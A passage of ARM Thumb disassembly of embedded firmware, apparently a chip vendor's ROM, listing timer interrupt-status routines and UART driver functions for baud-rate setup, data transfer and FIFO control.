4298 cmp r0, r3 101035de: d003 beq.n 101035e8 <RTIM_DeInit+0x54> 101035e0: 21b6 movs r1, #182 ; 0xb6 101035e2: 4808 ldr r0, [pc, #32] ; (10103604 <RTIM_DeInit+0x70>) 101035e4: f7fd f944 bl 10100870 <io_assert_failed> 101035e8: 2100 movs r1, #0 101035ea: 4620 mov r0, r4 101035ec: 4b06 ldr r3, [pc, #24] ; (10103608 <RTIM_DeInit+0x74>) 101035ee: 4798 blx r3 101035f0: 4b06 ldr r3, [pc, #24] ; (1010360c <RTIM_DeInit+0x78>) 101035f2: 4620 mov r0, r4 101035f4: 4798 blx r3 101035f6: 2300 movs r3, #0 101035f8: 60a3 str r3, [r4, #8] 101035fa: bd10 pop {r4, pc} 101035fc: 40002000 .word 0x40002000 10103600: 48002000 .word 0x48002000 10103604: 101d517c .word 0x101d517c 10103608: 1010326d .word 0x1010326d 1010360c: 101033f1 .word 0x101033f1 10103610 <RTIM_INTClearPendingBit>: 10103610: b538 push {r3, r4, r5, lr} 10103612: 4b19 ldr r3, [pc, #100] ; (10103678 <RTIM_INTClearPendingBit+0x68>) 10103614: 4298 cmp r0, r3 10103616: 4604 mov r4, r0 10103618: 460d mov r5, r1 1010361a: d025 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 1010361c: 3380 adds r3, #128 ; 0x80 1010361e: 4298 cmp r0, r3 10103620: d022 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103622: 3380 adds r3, #128 ; 0x80 10103624: 4298 cmp r0, r3 10103626: d01f beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103628: 3380 adds r3, #128 ; 0x80 1010362a: 4298 cmp r0, r3 1010362c: d01c beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 1010362e: 3380 adds r3, #128 ; 0x80 10103630: 4298 cmp r0, r3 10103632: d019 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103634: 3380 adds r3, #128 ; 0x80 10103636: 4298 cmp r0, r3 10103638: d016 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 1010363a: 4b10 ldr r3, [pc, #64] ; (1010367c <RTIM_INTClearPendingBit+0x6c>) 1010363c: 4298 cmp r0, r3 1010363e: d013 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103640: 3380 adds r3, #128 ; 0x80 10103642: 4298 cmp r0, r3 10103644: d010 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103646: 3380 adds r3, #128 ; 0x80 10103648: 4298 cmp r0, r3 1010364a: d00d beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 1010364c: 3380 adds r3, #128 ; 0x80 1010364e: 4298 cmp r0, r3 10103650: d00a beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103652: 3380 adds r3, #128 ; 0x80 10103654: 4298 cmp r0, r3 10103656: d007 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 10103658: 3380 adds r3, #128 ; 0x80 1010365a: 4298 cmp r0, r3 1010365c: d004 beq.n 10103668 <RTIM_INTClearPendingBit+0x58> 1010365e: f44f 71a5 mov.w r1, #330 ; 0x14a 10103662: 4807 ldr r0, [pc, #28] ; (10103680 <RTIM_INTClearPendingBit+0x70>) 10103664: f7fd f904 bl 10100870 <io_assert_failed> 10103668: b925 cbnz r5, 10103674 <RTIM_INTClearPendingBit+0x64> 1010366a: f240 114b movw r1, #331 ; 0x14b 1010366e: 4804 ldr r0, [pc, #16] ; (10103680 <RTIM_INTClearPendingBit+0x70>) 10103670: f7fd f8fe bl 10100870 <io_assert_failed> 10103674: 60e5 str r5, [r4, #12] 10103676: bd38 pop {r3, r4, r5, pc} 10103678: 40002000 .word 0x40002000 1010367c: 48002000 .word 0x48002000 10103680: 101d5158 .word 0x101d5158 10103684 <RTIM_GetFlagStatus>: 10103684: b538 push {r3, r4, r5, lr} 10103686: 4b31 ldr r3, [pc, #196] ; (1010374c <RTIM_GetFlagStatus+0xc8>) 10103688: 4298 cmp r0, r3 1010368a: 4604 mov r4, r0 1010368c: 460d mov r5, r1 1010368e: d025 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 10103690: 3380 adds r3, #128 ; 0x80 10103692: 4298 cmp r0, r3 10103694: d022 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 10103696: 3380 adds r3, #128 ; 0x80 10103698: 4298 cmp r0, r3 1010369a: d01f beq.n 101036dc <RTIM_GetFlagStatus+0x58> 1010369c: 3380 adds r3, #128 ; 0x80 1010369e: 4298 cmp r0, r3 101036a0: d01c beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036a2: 3380 adds r3, #128 ; 0x80 101036a4: 4298 cmp r0, r3 101036a6: d019 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036a8: 3380 adds r3, #128 ; 0x80 101036aa: 4298 cmp r0, r3 101036ac: d016 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036ae: 4b28 ldr r3, [pc, #160] ; (10103750 <RTIM_GetFlagStatus+0xcc>) 101036b0: 4298 cmp r0, r3 101036b2: d013 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036b4: 3380 adds r3, #128 ; 0x80 101036b6: 4298 cmp r0, r3 101036b8: d010 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036ba: 3380 adds r3, #128 ; 0x80 101036bc: 4298 cmp r0, r3 101036be: d00d beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036c0: 3380 adds r3, #128 ; 0x80 101036c2: 4298 cmp r0, r3 101036c4: d00a beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036c6: 3380 adds r3, #128 ; 0x80 101036c8: 4298 cmp r0, r3 101036ca: d007 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036cc: 3380 adds r3, #128 ; 0x80 101036ce: 4298 cmp r0, r3 101036d0: d004 beq.n 101036dc <RTIM_GetFlagStatus+0x58> 101036d2: f44f 71bc mov.w r1, #376 ; 0x178 101036d6: 481f ldr r0, [pc, #124] ; (10103754 <RTIM_GetFlagStatus+0xd0>) 101036d8: f7fd f8ca bl 10100870 <io_assert_failed> 101036dc: 1e6a subs r2, r5, #1 101036de: 2a1f cmp r2, #31 101036e0: d907 bls.n 101036f2 <RTIM_GetFlagStatus+0x6e> 101036e2: 2d40 cmp r5, #64 ; 0x40 101036e4: d109 bne.n 101036fa <RTIM_GetFlagStatus+0x76> 101036e6: 68e3 ldr r3, [r4, #12] 101036e8: 421d tst r5, r3 101036ea: bf14 ite ne 101036ec: 2001 movne r0, #1 101036ee: 2000 moveq r0, #0 101036f0: bd38 pop {r3, r4, r5, pc} 101036f2: 4b19 ldr r3, [pc, #100] ; (10103758 <RTIM_GetFlagStatus+0xd4>) 101036f4: 40d3 lsrs r3, r2 101036f6: 07db lsls r3, r3, #31 101036f8: d4f5 bmi.n 101036e6 <RTIM_GetFlagStatus+0x62> 101036fa: 2d80 cmp r5, #128 ; 0x80 101036fc: d0f3 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 101036fe: f5b5 7f80 cmp.w r5, #256 ; 0x100 10103702: d0f0 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103704: f5b5 7f00 cmp.w r5, #512 ; 0x200 10103708: d0ed beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 1010370a: f5b5 6f80 cmp.w r5, #1024 ; 0x400 1010370e: d0ea beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103710: f5b5 6f00 cmp.w r5, #2048 ; 0x800 10103714: d0e7 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103716: f5b5 5f80 cmp.w r5, #4096 ; 0x1000 1010371a: d0e4 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 1010371c: f5b5 5f00 cmp.w r5, #8192 ; 0x2000 10103720: d0e1 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103722: f5b5 4f80 cmp.w r5, #16384 ; 0x4000 10103726: d0de beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103728: f5b5 4f00 cmp.w r5, #32768 ; 0x8000 1010372c: d0db beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 1010372e: f5b5 3f80 cmp.w r5, #65536 ; 0x10000 10103732: d0d8 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103734: f5b5 3f00 cmp.w r5, #131072 ; 0x20000 10103738: d0d5 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 1010373a: f5b5 2f80 cmp.w r5, #262144 ; 0x40000 1010373e: d0d2 beq.n 101036e6 <RTIM_GetFlagStatus+0x62> 10103740: f240 1179 movw r1, #377 ; 0x179 10103744: 4803 ldr r0, [pc, #12] ; (10103754 <RTIM_GetFlagStatus+0xd0>) 10103746: f7fd f893 bl 10100870 <io_assert_failed> 1010374a: e7cc b.n 101036e6 <RTIM_GetFlagStatus+0x62> 1010374c: 40002000 .word 0x40002000 10103750: 48002000 .word 0x48002000 10103754: 101d5198 .word 0x101d5198 10103758: 8000808b .word 0x8000808b 1010375c <RTIM_GetINTStatus>: 1010375c: b538 push {r3, r4, r5, lr} 1010375e: 4b33 ldr r3, [pc, #204] ; (1010382c <RTIM_GetINTStatus+0xd0>) 10103760: 4298 cmp r0, r3 10103762: 4604 mov r4, r0 10103764: 460d mov r5, r1 10103766: d025 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 10103768: 3380 adds r3, #128 ; 0x80 1010376a: 4298 cmp r0, r3 1010376c: d022 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 1010376e: 3380 adds r3, #128 ; 0x80 10103770: 4298 cmp r0, r3 10103772: d01f beq.n 101037b4 <RTIM_GetINTStatus+0x58> 10103774: 3380 adds r3, #128 ; 0x80 10103776: 4298 cmp r0, r3 10103778: d01c beq.n 101037b4 <RTIM_GetINTStatus+0x58> 1010377a: 3380 adds r3, #128 ; 0x80 1010377c: 4298 cmp r0, r3 1010377e: d019 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 10103780: 3380 adds r3, #128 ; 0x80 10103782: 4298 cmp r0, r3 10103784: d016 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 10103786: 4b2a ldr r3, [pc, #168] ; (10103830 <RTIM_GetINTStatus+0xd4>) 10103788: 4298 cmp r0, r3 1010378a: d013 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 1010378c: 3380 adds r3, #128 ; 0x80 1010378e: 4298 cmp r0, r3 10103790: d010 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 10103792: 3380 adds r3, #128 ; 0x80 10103794: 4298 cmp r0, r3 10103796: d00d beq.n 101037b4 <RTIM_GetINTStatus+0x58> 10103798: 3380 adds r3, #128 ; 0x80 1010379a: 4298 cmp r0, r3 1010379c: d00a beq.n 101037b4 <RTIM_GetINTStatus+0x58> 1010379e: 3380 adds r3, #128 ; 0x80 101037a0: 4298 cmp r0, r3 101037a2: d007 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 101037a4: 3380 adds r3, #128 ; 0x80 101037a6: 4298 cmp r0, r3 101037a8: d004 beq.n 101037b4 <RTIM_GetINTStatus+0x58> 101037aa: f240 11af movw r1, #431 ; 0x1af 101037ae: 4821 ldr r0, [pc, #132] ; (10103834 <RTIM_GetINTStatus+0xd8>) 101037b0: f7fd f85e bl 10100870 <io_assert_failed> 101037b4: 1e6a subs r2, r5, #1 101037b6: 2a1f cmp r2, #31 101037b8: d90a bls.n 101037d0 <RTIM_GetINTStatus+0x74> 101037ba: 2d40 cmp r5, #64 ; 0x40 101037bc: d10c bne.n 101037d8 <RTIM_GetINTStatus+0x7c> 101037be: 68e0 ldr r0, [r4, #12] 101037c0: 4028 ands r0, r5 101037c2: 68a3 ldr r3, [r4, #8] 101037c4: d031 beq.n 1010382a <RTIM_GetINTStatus+0xce> 101037c6: 421d tst r5, r3 101037c8: bf14 ite ne 101037ca: 2001 movne r0, #1 101037cc: 2000 moveq r0, #0 101037ce: bd38 pop {r3, r4, r5, pc} 101037d0: 4b19 ldr r3, [pc, #100] ; (10103838 <RTIM_GetINTStatus+0xdc>) 101037d2: 40d3 lsrs r3, r2 101037d4: 07db lsls r3, r3, #31 101037d6: d4f2 bmi.n 101037be <RTIM_GetINTStatus+0x62> 101037d8: 2d80 cmp r5, #128 ; 0x80 101037da: d0f0 beq.n 101037be <RTIM_GetINTStatus+0x62> 101037dc: f5b5 7f80 cmp.w r5, #256 ; 0x100 101037e0: d0ed beq.n 101037be <RTIM_GetINTStatus+0x62> 101037e2: f5b5 7f00 cmp.w r5, #512 ; 0x200 101037e6: d0ea beq.n 101037be <RTIM_GetINTStatus+0x62> 101037e8: f5b5 6f80 cmp.w r5, #1024 ; 0x400 101037ec: d0e7 beq.n 101037be <RTIM_GetINTStatus+0x62> 101037ee: f5b5 6f00 cmp.w r5, #2048 ; 0x800 101037f2: d0e4 beq.n 101037be <RTIM_GetINTStatus+0x62> 101037f4: f5b5 5f80 cmp.w r5, #4096 ; 0x1000 101037f8: d0e1 beq.n 101037be <RTIM_GetINTStatus+0x62> 101037fa: f5b5 5f00 cmp.w r5, #8192 ; 0x2000 101037fe: d0de beq.n 101037be <RTIM_GetINTStatus+0x62> 10103800: f5b5 4f80 cmp.w r5, #16384 ; 0x4000 10103804: d0db beq.n 101037be <RTIM_GetINTStatus+0x62> 10103806: f5b5 4f00 cmp.w r5, #32768 ; 0x8000 1010380a: d0d8 beq.n 101037be <RTIM_GetINTStatus+0x62> 1010380c: f5b5 3f80 cmp.w r5, #65536 ; 0x10000 10103810: d0d5 beq.n 101037be <RTIM_GetINTStatus+0x62> 10103812: f5b5 3f00 cmp.w r5, #131072 ; 0x20000 10103816: d0d2 beq.n 101037be <RTIM_GetINTStatus+0x62> 10103818: f5b5 2f80 cmp.w r5, #262144 ; 0x40000 1010381c: d0cf beq.n 101037be <RTIM_GetINTStatus+0x62> 1010381e: f44f 71d8 mov.w r1, #432 ; 0x1b0 10103822: 4804 ldr r0, [pc, #16] ; (10103834 <RTIM_GetINTStatus+0xd8>) 10103824: f7fd f824 bl 10100870 <io_assert_failed> 10103828: e7c9 b.n 101037be <RTIM_GetINTStatus+0x62> 1010382a: bd38 pop {r3, r4, r5, pc} 1010382c: 40002000 .word 0x40002000 10103830: 48002000 .word 0x48002000 10103834: 101d51bc .word 0x101d51bc 10103838: 8000808b .word 0x8000808b 1010383c <UART_DeInit>: 1010383c: 2300 movs r3, #0 1010383e: 6043 str r3, [r0, #4] 10103840: 4770 bx lr 10103842: bf00 nop 10103844 <UART_StructInit>: 10103844: 2300 movs r3, #0 10103846: 2201 movs r2, #1 10103848: 2140 movs r1, #64 ; 0x40 1010384a: 60c2 str r2, [r0, #12] 1010384c: 6241 str r1, [r0, #36] ; 0x24 1010384e: 6042 str r2, [r0, #4] 10103850: 6202 str r2, [r0, #32] 10103852: 6002 str r2, [r0, #0] 10103854: 6103 str r3, [r0, #16] 10103856: 6143 str r3, [r0, #20] 10103858: 6083 str r3, [r0, #8] 1010385a: 61c3 str r3, [r0, #28] 1010385c: 6183 str r3, [r0, #24] 1010385e: 4770 bx lr 10103860 <UART_BaudParaGetFull>: 10103860: b5f0 push {r4, r5, r6, r7, lr} 10103862: fbb0 fef1 udiv lr, r0, r1 10103866: fb01 001e mls r0, r1, lr, r0 1010386a: eb00 0440 add.w r4, r0, r0, lsl #1 1010386e: 00a4 lsls r4, r4, #2 10103870: fbb4 f6f1 udiv r6, r4, r1 10103874: 250b movs r5, #11 10103876: 2700 movs r7, #0 10103878: f8c2 e000 str.w lr, [r2] 1010387c: 1a24 subs r4, r4, r0 1010387e: 4632 mov r2, r6 10103880: fbb4 f6f1 udiv r6, r4, r1 10103884: 1ab2 subs r2, r6, r2 10103886: bf18 it ne 10103888: 2201 movne r2, #1 1010388a: 3d01 subs r5, #1 1010388c: ea42 0747 orr.w r7, r2, r7, lsl #1 10103890: d1f4 bne.n 1010387c <UART_BaudParaGetFull+0x1c> 10103892: 601f str r7, [r3, #0] 10103894: bdf0 pop {r4, r5, r6, r7, pc} 10103896: bf00 nop 10103898 <UART_BaudParaGet>: 10103898: b570 push {r4, r5, r6, lr} 1010389a: 460d mov r5, r1 1010389c: 4616 mov r6, r2 1010389e: 4604 mov r4, r0 101038a0: 4b04 ldr r3, [pc, #16] ; (101038b4 <UART_BaudParaGet+0x1c>) 101038a2: 4798 blx r3 101038a4: 4621 mov r1, r4 101038a6: 4633 mov r3, r6 101038a8: 462a mov r2, r5 101038aa: 4c03 ldr r4, [pc, #12] ; (101038b8 <UART_BaudParaGet+0x20>) 101038ac: 47a0 blx r4 101038ae: 2001 movs r0, #1 101038b0: bd70 pop {r4, r5, r6, pc} 101038b2: bf00 nop 101038b4: 101044e9 .word 0x101044e9 101038b8: 10103861 .word 0x10103861 101038bc <UART_SetBaud>: 101038bc: b530 push {r4, r5, lr} 101038be: 460d mov r5, r1 101038c0: 4604 mov r4, r0 101038c2: b083 sub sp, #12 101038c4: 4b1d ldr r3, [pc, #116] ; (1010393c <UART_SetBaud+0x80>) 101038c6: 4798 blx r3 101038c8: 4629 mov r1, r5 101038ca: ab01 add r3, sp, #4 101038cc: 466a mov r2, sp 101038ce: 4d1c ldr r5, [pc, #112] ; (10103940 <UART_SetBaud+0x84>) 101038d0: 47a8 blx r5 101038d2: 68e3 ldr r3, [r4, #12] 101038d4: f043 0380 orr.w r3, r3, #128 ; 0x80 101038d8: 60e3 str r3, [r4, #12] 101038da: 69e3 ldr r3, [r4, #28] 101038dc: f043 0380 orr.w r3, r3, #128 ; 0x80 101038e0: 61e3 str r3, [r4, #28] 101038e2: 9900 ldr r1, [sp, #0] 101038e4: 6a20 ldr r0, [r4, #32] 101038e6: 4b17 ldr r3, [pc, #92] ; (10103944 <UART_SetBaud+0x88>) 101038e8: 4a17 ldr r2, [pc, #92] ; (10103948 <UART_SetBaud+0x8c>) 101038ea: 4003 ands r3, r0 101038ec: ea02 1201 and.w r2, r2, r1, lsl #4 101038f0: 4313 orrs r3, r2 101038f2: 6223 str r3, [r4, #32] 101038f4: 69e2 ldr r2, [r4, #28] 101038f6: 9801 ldr r0, [sp, #4] 101038f8: 4b14 ldr r3, [pc, #80] ; (1010394c <UART_SetBaud+0x90>) 101038fa: f022 62ff bic.w r2, r2, #133693440 ; 0x7f80000 101038fe: ea03 4300 and.w r3, r3, r0, lsl #16 10103902: f422 22e0 bic.w r2, r2, #458752 ; 0x70000 10103906: 431a orrs r2, r3 10103908: 61e2 str r2, [r4, #28] 1010390a: 68e2 ldr r2, [r4, #12] 1010390c: f022 0280 bic.w r2, r2, #128 ; 0x80 10103910: 60e2 str r2, [r4, #12] 10103912: 6ca2 ldr r2, [r4, #72] ; 0x48 10103914: 0d12 lsrs r2, r2, #20 10103916: 0512 lsls r2, r2, #20 10103918: 430a orrs r2, r1 1010391a: 64a2 str r2, [r4, #72] ; 0x48 1010391c: 4a0c ldr r2, [pc, #48] ; (10103950 <UART_SetBaud+0x94>) 1010391e: 6c63 ldr r3, [r4, #68] ; 0x44 10103920: 401a ands r2, r3 10103922: ea42 2241 orr.w r2, r2, r1, lsl #9 10103926: 6462 str r2, [r4, #68] ; 0x44 10103928: 6c23 ldr r3, [r4, #64] ; 0x40 1010392a: f423 537f bic.w r3, r3, #16320 ; 0x3fc0 1010392e: f023 0338 bic.w r3, r3, #56 ; 0x38 10103932: ea43 03c0 orr.w r3, r3, r0, lsl #3 10103936: 6423 str r3, [r4, #64] ; 0x40 10103938: b003 add sp, #12 1010393a: bd30 pop {r4, r5, pc} 1010393c: 101044e9 .word 0x101044e9 10103940: 10103861 .word 0x10103861 10103944: ff00000f .word 0xff00000f 10103948: 00fffff0 .word 0x00fffff0 1010394c: 07ff0000 .word 0x07ff0000 10103950: e00001ff .word 0xe00001ff 10103954 <UART_SetBaudExt>: 10103954: 68c3 ldr r3, [r0, #12] 10103956: f043 0380 orr.w r3, r3, #128 ; 0x80 1010395a: 60c3 str r3, [r0, #12] 1010395c: 69c3 ldr r3, [r0, #28] 1010395e: f043 0380 orr.w r3, r3, #128 ; 0x80 10103962: 61c3 str r3, [r0, #28] 10103964: b430 push {r4, r5} 10103966: 4b15 ldr r3, [pc, #84] ; (101039bc <UART_SetBaudExt+0x68>) 10103968: 6a04 ldr r4, [r0, #32] 1010396a: 4d15 ldr r5, [pc, #84] ; (101039c0 <UART_SetBaudExt+0x6c>) 1010396c: ea03 1301 and.w r3, r3, r1, lsl #4 10103970: 4025 ands r5, r4 10103972: 431d orrs r5, r3 10103974: 6205 str r5, [r0, #32] 10103976: 69c4 ldr r4, [r0, #28] 10103978: 4b12 ldr r3, [pc, #72] ; (101039c4 <UART_SetBaudExt+0x70>) 1010397a: f024 64ff bic.w r4, r4, #133693440 ; 0x7f80000 1010397e: ea03 4302 and.w r3, r3, r2, lsl #16 10103982: f424 24e0 bic.w r4, r4, #458752 ; 0x70000 10103986: 431c orrs r4, r3 10103988: 61c4 str r4, [r0, #28] 1010398a: 68c3 ldr r3, [r0, #12] 1010398c: f023 0380 bic.w r3, r3, #128 ; 0x80 10103990: 60c3 str r3, [r0, #12] 10103992: 6c84 ldr r4, [r0, #72] ; 0x48 10103994: 0d24 lsrs r4, r4, #20 10103996: 0524 lsls r4, r4, #20 10103998: 430c orrs r4, r1 1010399a: 6484 str r4, [r0, #72] ; 0x48 1010399c: 4c0a ldr r4, [pc, #40] ; (101039c8 <UART_SetBaudExt+0x74>) 1010399e: 6c43 ldr r3, [r0, #68] ; 0x44 101039a0: 401c ands r4, r3 101039a2: ea44 2441 orr.w r4, r4, r1, lsl #9 101039a6: 6444 str r4, [r0, #68] ; 0x44 101039a8: 6c03 ldr r3, [r0, #64] ; 0x40 101039aa: f423 537f bic.w r3, r3, #16320 ; 0x3fc0 101039ae: f023 0338 bic.w r3, r3, #56 ; 0x38 101039b2: ea43 03c2 orr.w r3, r3, r2, lsl #3 101039b6: 6403 str r3, [r0, #64] ; 0x40 101039b8: bc30 pop {r4, r5} 101039ba: 4770 bx lr 101039bc: 00fffff0 .word 0x00fffff0 101039c0: ff00000f .word 0xff00000f 101039c4: 07ff0000 .word 0x07ff0000 101039c8: e00001ff .word 0xe00001ff 101039cc <UART_SetRxLevel>: 101039cc: b538 push {r3, r4, r5, lr} 101039ce: f031 03c0 bics.w r3, r1, #192 ; 0xc0 101039d2: 460d mov r5, r1 101039d4: 4604 mov r4, r0 101039d6: d004 beq.n 101039e2 <UART_SetRxLevel+0x16> 101039d8: f44f 71b5 mov.w r1, #362 ; 0x16a 101039dc: 4804 ldr r0, [pc, #16] ; (101039f0 <UART_SetRxLevel+0x24>) 101039de: f7fc ff47 bl 10100870 <io_assert_failed> 101039e2: 6d61 ldr r1, [r4, #84] ; 0x54 101039e4: f021 01c0 bic.w r1, r1, #192 ; 0xc0 101039e8: 4329 orrs r1, r5 101039ea: 6561 str r1, [r4, #84] ; 0x54 101039ec: bd38 pop {r3, r4, r5, pc} 101039ee: bf00 nop 101039f0: 101d51ec .word 0x101d51ec 101039f4 <UART_RxCmd>: 101039f4: 6c03 ldr r3, [r0, #64] ; 0x40 101039f6: b919 cbnz r1, 10103a00 <UART_RxCmd+0xc> 101039f8: f023 0304 bic.w r3, r3, #4 101039fc: 6403 str r3, [r0, #64] ; 0x40 101039fe: 4770 bx lr 10103a00: f043 0304 orr.w r3, r3, #4 10103a04: 6403 str r3, [r0, #64] ; 0x40 10103a06: 4770 bx lr 10103a08 <UART_Writable>: 10103a08: 6940 ldr r0, [r0, #20] 10103a0a: f3c0 1040 ubfx r0, r0, #5, #1 10103a0e: 4770 bx lr 10103a10 <UART_Readable>: 10103a10: 6940 ldr r0, [r0, #20] 10103a12: f000 0001 and.w r0, r0, #1 10103a16: 4770 bx lr 10103a18 <UART_CharPut>: 10103a18: 6241 str r1, [r0, #36] ; 0x24 10103a1a: 4770 bx lr 10103a1c <UART_CharGet>: 10103a1c: 6a43 ldr r3, [r0, #36] ; 0x24 10103a1e: 700b strb r3, [r1, #0] 10103a20: 4770 bx lr 10103a22: bf00 nop 10103a24 <UART_ReceiveData>: 10103a24: b172 cbz r2, 10103a44 <UART_ReceiveData+0x20> 10103a26: b5f8 push {r3, r4, r5, r6, r7, lr} 10103a28: 4604 mov r4, r0 10103a2a: 460e mov r6, r1 10103a2c: 4d06 ldr r5, [pc, #24] ; (10103a48 <UART_ReceiveData+0x24>) 10103a2e: 188f adds r7, r1, r2 10103a30: 4620 mov r0, r4 10103a32: 47a8 blx r5 10103a34: 2800 cmp r0, #0 10103a36: d0fb beq.n 10103a30 <UART_ReceiveData+0xc> 10103a38: 6a63 ldr r3, [r4, #36] ; 0x24 10103a3a: f806 3b01 strb.w r3, [r6], #1 10103a3e: 42b7 cmp r7, r6 10103a40: d1f6 bne.n 10103a30 <UART_ReceiveData+0xc> 10103a42: bdf8 pop {r3, r4, r5, r6, r7, pc} 10103a44: 4770 bx lr 10103a46: bf00 nop 10103a48: 10103a11 .word 0x10103a11 10103a4c <UART_SendData>: 10103a4c: b172 cbz r2, 10103a6c <UART_SendData+0x20> 10103a4e: b5f8 push {r3, r4, r5, r6, r7, lr} 10103a50: 4604 mov r4, r0 10103a52: 460e mov r6, r1 10103a54: 4d06 ldr r5, [pc, #24] ; (10103a70 <UART_SendData+0x24>) 10103a56: 188f adds r7, r1, r2 10103a58: 4620 mov r0, r4 10103a5a: 47a8 blx r5 10103a5c: 2800 cmp r0, #0 10103a5e: d0fb beq.n 10103a58 <UART_SendData+0xc> 10103a60: f816 3b01 ldrb.w r3, [r6], #1 10103a64: 42b7 cmp r7, r6 10103a66: 6263 str r3, [r4, #36] ; 0x24 10103a68: d1f6 bne.n 10103a58 <UART_SendData+0xc> 10103a6a: bdf8 pop {r3, r4, r5, r6, r7, pc} 10103a6c: 4770 bx lr 10103a6e: bf00 nop 10103a70: 10103a09 .word 0x10103a09 10103a74 <UART_ReceiveDataTO>: 10103a74: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 10103a78: 2400 movs r4, #0 10103a7a: 4606 mov r6, r0 10103a7c: 468a mov sl, r1 10103a7e: 4691 mov r9, r2 10103a80: 4698 mov r8, r3 10103a82: 4625 mov r5, r4 10103a84: 4f0a ldr r7, [pc, #40] ; (10103ab0 <UART_ReceiveDataTO+0x3c>) 10103a86: 4630 mov r0, r6 10103a88: 47b8 blx r7 10103a8a: 3401 adds r4, #1 10103a8c: b158 cbz r0, 10103aa6 <UART_ReceiveDataTO+0x32> 10103a8e: 6a73 ldr r3, [r6, #36] ; 0x24 10103a90: f80a 3005 strb.w r3, [sl, r5] 10103a94: 3501 adds r5, #1 10103a96: 454d cmp r5, r9 10103a98: d207 bcs.n 10103aaa <UART_ReceiveDataTO+0x36> 10103a9a: 4630 mov r0, r6 10103a9c: 2400 movs r4, #0 10103a9e: 47b8 blx r7 10103aa0: 3401 adds r4, #1 10103aa2: 2800 cmp r0, #0 10103aa4: d1f3 bne.n 10103a8e <UART_ReceiveDataTO+0x1a> 10103aa6: 4544 cmp r4, r8 10103aa8: d9ed bls.n 10103a86 <UART_ReceiveDataTO+0x12> 10103aaa: 4628 mov r0, r5 10103aac: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10103ab0: 10103a11 .word 0x10103a11 10103ab4 <UART_SendDataTO>: 10103ab4: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 10103ab8: 2400 movs r4, #0 10103aba: 4606 mov r6, r0 10103abc: 468a mov sl, r1 10103abe: 4691 mov r9, r2 10103ac0: 4698 mov r8, r3 10103ac2: 4625 mov r5, r4 10103ac4: 4f0a ldr r7, [pc, #40] ; (10103af0 <UART_SendDataTO+0x3c>) 10103ac6: 4630 mov r0, r6 10103ac8: 47b8 blx r7 10103aca: 3401 adds r4, #1 10103acc: b158 cbz r0, 10103ae6 <UART_SendDataTO+0x32> 10103ace: f81a 3005 ldrb.w r3, [sl, r5] 10103ad2: 3501 adds r5, #1 10103ad4: 454d cmp r5, r9 10103ad6: 6273 str r3, [r6, #36] ; 0x24 10103ad8: d207 bcs.n 10103aea <UART_SendDataTO+0x36> 10103ada: 4630 mov r0, r6 10103adc: 2400 movs r4, #0 10103ade: 47b8 blx r7 10103ae0: 3401 adds r4, #1 10103ae2: 2800 cmp r0, #0 10103ae4: d1f3 bne.n 10103ace <UART_SendDataTO+0x1a> 10103ae6: 4544 cmp r4, r8 10103ae8: d9ed bls.n 10103ac6 <UART_SendDataTO+0x12> 10103aea: 4628 mov r0, r5 10103aec: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10103af0: 10103a09 .word 0x10103a09 10103af4 <UART_RxByteCntClear>: 10103af4: 6d03 ldr r3, [r0, #80] ; 0x50 10103af6: f443 3380 orr.w r3, r3, #65536 ; 0x10000 10103afa: 6503 str r3, [r0, #80] ; 0x50 10103afc: 4770 bx lr 10103afe: bf00 nop 10103b00 <UART_RxByteCntGet>: 10103b00: 6d00 ldr r0, [r0, #80] ; 0x50 10103b02: b280 uxth r0, r0 10103b04: 4770 bx lr 10103b06: bf00 nop 10103b08 <UART_BreakCtl>: 10103b08: 68c3 ldr r3, [r0, #12] 10103b0a: b919 cbnz r1, 10103b14 <UART_BreakCtl+0xc> 10103b0c: f023 0340 bic.w r3, r3, #64 ; 0x40 10103b10: 60c3 str r3, [r0, #12] 10103b12: 4770 bx lr 10103b14: f043 0340 orr.w r3, r3, #64 ; 0x40 10103b18: 60c3 str r3, [r0, #12] 10103b1a: 4770 bx lr 10103b1c <UART_ClearRxFifo>: 10103b1c: 2305 movs r3, #5 10103b1e: 6d42 ldr r2, [r0, #84] ; 0x54 10103b20: f042 0202 orr.w r2, 